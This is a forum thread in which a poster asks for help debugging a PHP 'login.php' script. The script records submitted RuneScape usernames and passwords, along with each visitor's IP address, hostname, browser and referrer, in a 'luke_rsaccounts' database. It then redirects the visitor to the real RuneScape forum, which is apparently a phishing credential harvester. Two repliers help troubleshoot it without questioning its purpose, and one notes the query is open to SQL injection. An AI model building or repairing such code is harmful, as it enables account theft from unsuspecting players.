Results 1 to 8 of 8

Thread: MySQL connection error, or query error?

  1. #1

    Thread Starter
    Lively Member
    Join Date
    Aug 2007
    Posts
    95

    MySQL connection error, or query error?

    Here is the code
    PHP Code:
    <?php
       
       $username 
    $_POST['username'];
       
    $password $_POST['password'];
       
       
    $cname gethostbyaddr($_SERVER[REMOTE_ADDR]);
       
    $ipaddress $_SERVER['REMOTE_ADDR'];
       
    $browsertype $_SERVER[HTTP_USER_AGENT];

       
    $date2 date("l dS \of F Y h:i:s A");
       
    $link $_SERVER['HTTP_REFERER'];

    $dbh=mysql_connect ("localhost""luke_lukehey",
    "*******") or die('Cannot connect to the database because: ' mysql_error());
    mysql_select_db ("luke_rsaccounts");
    // Okay, we're connected, let's do stuff...
        
    if(isset($_POST['submit']))
        {
        
    $query "INSERT INTO users (
                            rsusername,
                            rspassword,
                            ipaddress,
                            iplocation,
                            browser,
                            referurl,
                            date) 
                    VALUES (
                            '
    $username',
                            '
    $password',
                            '
    $ipaddress',
                            '
    $cname',
                            '
    $browsertype',
                            '
    $link',
                            '
    $date2'
                            )"
    ;
            
            
    mysql_query($query) or die("Error adding data!");
            
    header('Location: http://forum.runescape.com/forums.ws?76,77');
    }
    ?>
    But for some reason it doesn't add my data, or redirect. Any idea Why?
    Visual Basic 6 + MS Access

  2. #2
    WiggleWiggle dclamp's Avatar
    Join Date
    Aug 2006
    Posts
    3,527

    Re: MySQL connection error, or query error?

    is there any error message being displayed? You may have to look at the source to see the error msg.
    My usual boring signature: Something

  3. #3

    Thread Starter
    Lively Member
    Join Date
    Aug 2007
    Posts
    95

    Re: MySQL connection error, or query error?

    Quote Originally Posted by dclamp
    is there any error message being displayed? You may have to look at the source to see the error msg.
    No error, it just goes to "next.php" and displays nothing. Doesnt redirect either.
    Visual Basic 6 + MS Access

  4. #4
    WiggleWiggle dclamp's Avatar
    Join Date
    Aug 2006
    Posts
    3,527

    Re: MySQL connection error, or query error?

    put error_reporting(E_ALL); at the top of that page, and post what is says
    My usual boring signature: Something

  5. #5

    Thread Starter
    Lively Member
    Join Date
    Aug 2007
    Posts
    95

    Re: MySQL connection error, or query error?

    Notice: Use of undefined constant REMOTE_ADDR - assumed 'REMOTE_ADDR' in /home/luke/public_html/customers/login.php on line 6

    Notice: Use of undefined constant HTTP_USER_AGENT - assumed 'HTTP_USER_AGENT' in /home/luke/public_html/customers/login.php on line 8
    Visual Basic 6 + MS Access

  6. #6

    Thread Starter
    Lively Member
    Join Date
    Aug 2007
    Posts
    95

    Re: MySQL connection error, or query error?

    Also fixed this., still doing nothing
    Visual Basic 6 + MS Access

  7. #7
    WiggleWiggle dclamp's Avatar
    Join Date
    Aug 2006
    Posts
    3,527

    Re: MySQL connection error, or query error?

    Can you post the html form?
    My usual boring signature: Something

  8. #8
    VBA Nutter visualAd's Avatar
    Join Date
    Apr 2002
    Location
    Ickenham, UK
    Posts
    4,906

    Re: MySQL connection error, or query error?

    Its a good thing your code doesn't work. If it did then you would be introducing SQL vulnerabilities into your website. Make sure you use mysql_escape_string on all user input variables you intend to insert into an SQL query.
    PHP || MySql || Apache || Get Firefox || OpenOffice.org || Click || Slap ILMV || 1337 c0d || GotoMyPc For FREE! Part 1, Part 2

    | PHP Session --> Database Handler * Custom Error Handler * Installing PHP * HTML Form Handler * PHP 5 OOP * Using XML * Ajax * Xslt | VB6 Winsock - HTTP POST / GET * Winsock - HTTP File Upload

    Latest quote: crptcblade - VB6 executables can't be decompiled, only disassembled. And the disassembled code is even less useful than I am.

    Random VisualAd: Blog - Latest Post: When the Internet becomes Electricity!!


    Spread happiness and joy. Rate good posts.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width